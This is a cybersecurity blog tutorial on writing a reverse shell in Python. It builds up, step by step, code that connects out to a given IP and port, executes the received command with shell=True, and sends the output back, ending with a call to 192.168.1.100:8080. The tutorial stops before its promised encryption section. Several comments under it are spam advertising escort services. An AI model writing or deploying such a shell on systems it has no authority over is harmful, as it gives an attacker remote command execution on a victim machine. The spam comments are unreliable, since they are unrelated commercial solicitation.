top of page

CYBER & INFOSEC

"blogger, InfoSec specialist, super hero ... and all round good guy" 

DISCUSSIONS, CONCEPTS & TECHNOLOGIES FOR THE WORLD OF

JOIN THE DISCUSSION

How to write a reverse shell

  • Writer: Aamir Lakhani
    Aamir Lakhani
  • Oct 31, 2023
  • 2 min read

A reverse shell is a type of network connection in which a remote computer establishes a connection to a local computer and allows the remote computer to execute commands on the local computer. This can be useful in a number of situations, such as when a local computer is behind a firewall and needs to connect to a remote computer, or when a local computer needs to be accessed remotely by a third party.

Here is an example of how to write a simple reverse shell in Python:


First, we will need to import the necessary libraries. In this example, we will use the socket library to create the network connection and the subprocess library to execute commands:



ree

import socket

import subprocess



Next, we will create a function to establish the reverse shell connection. This function will take two arguments: the IP address of the remote computer and the port number that we want to use for the connection:



ree

def reverse_shell(ip, port):

# Create a socket object

s = socket.socket()


# Connect to the remote computer

s.connect((ip, port))



Once the connection is established, we can use the subprocess library to execute commands on the local computer. For example, we can use the



subprocess.Popen() function to execute a command and capture the output:




ree

def reverse_shell(ip, port):

# Create a socket object

s = socket.socket()


# Connect to the remote computer

s.connect((ip, port))


# Execute a command and capture the output

cmd = s.recv(1024).decode()

output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)



We can then send the output of the command back to the remote computer using the send() function:



ree

def reverse_shell(ip, port):

# Create a socket object

s = socket.socket()


# Connect to the remote computer

s.connect((ip, port))


# Execute a command and capture the output

cmd = s.recv(1024).decode()

output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


# Send the output back to the remote computer

s.send(output.stdout.read())

s.send(output.stderr.read())



Finally, we can call the function and pass in the IP address and port number of the remote computer to establish the reverse shell connection:



ree

reverse_shell('192.168.1.100', 8080)



Okay, lets build on what we know and get a little more complicated by adding some encryption and error checking.



Recent Posts

See All

19 Comments


Lucknow Dew
Lucknow Dew
Sep 27

Welcome from the beautiful city of Lucknow, where allure and compelling pleasure coexist. Do not pass up the opportunity to enjoy the most wonderful companionship if you are considering a trip to this cultural treasure. For sophisticated gents looking for unique moments of sexual satisfaction, we offer an exceptional call girls Lucknow.

Like

Ajju Bhai
Ajju Bhai
Sep 25

Our female also knows some classy dance formats, and many royal people hire our call girls in Udaipur and see various kinds of dance. Similarly, organizers contact our agency for booking those kinds of call girls who perform lovely dances in weddings.

https://call-girl-udaipur.com

Like

Ajju Bhai
Ajju Bhai
Sep 25

Some organizer contacts us for hiring our Udaipur Call Girls, but why do they do this, you know, here. Our call girls are multi-talented and because of their classy behavior no one imagines that they belong to the call girl profession.

https://udaipur-call-girl.com

Like


mounityagi946
Sep 06

Bangalore, also known as the Silicon Valley of India, is not only a hub for technology and innovation but also a city that offers exclusive lifestyle experiences. Among the many facets of this vibrant city, the world of Bangalore escorts stands out for those who seek premium companionship, discreet meetings, and unforgettable moments.


Bangalore is a melting pot of cultures, drawing professionals, entrepreneurs, and travelers from around the globe. With such diversity comes a demand for high-quality companionship services.


Bangalore escorts provide more than just companionship—they offer a gateway to sophistication, comfort, and unforgettable moments. Whether you are a busy professional, an international traveler, or someone seeking meaningful connection, the city’s escort services cater to every lifestyle.


Read More :- Bangalore call girls .


Like

doctorchaos.com and drchaos.com is a blog dedicated to Cyber Counter Intelligence and Cybersecurity technologies. The posts will be a discussion of concepts and technologies that make up emerging threats and techniques related to Cyber Defense. Sometimes we get a little off-topic. Articles are gathered or written by cyber security professionals, leading OEMs, and enthusiasts from all over the world to bring an in-depth, real-world, look at Cyber Security. About this blog doctorchaos.com and drchaos.com and any affiliate website does not represent or endorse the accuracy or reliability of any information’s, content or advertisements contained on, distributed through, or linked, downloaded or accessed from any of the services contained on this website, nor the quality of any products, information’s or any other material displayed, purchased, or obtained by you as a result of an advertisement or any other information’s or offer in or in connection with the services herein. Everything on this blog is based on personal opinion and should be interoperated as such. Contact Info If you would like to contact this blog, you may do so by emailing ALAKHANI(AT)YMAIL(DOT)COM  

SOCIALS 

SUBSCRIBE 

Keeping you informed | Latest News

© 2018 Dr. Chaos 

bottom of page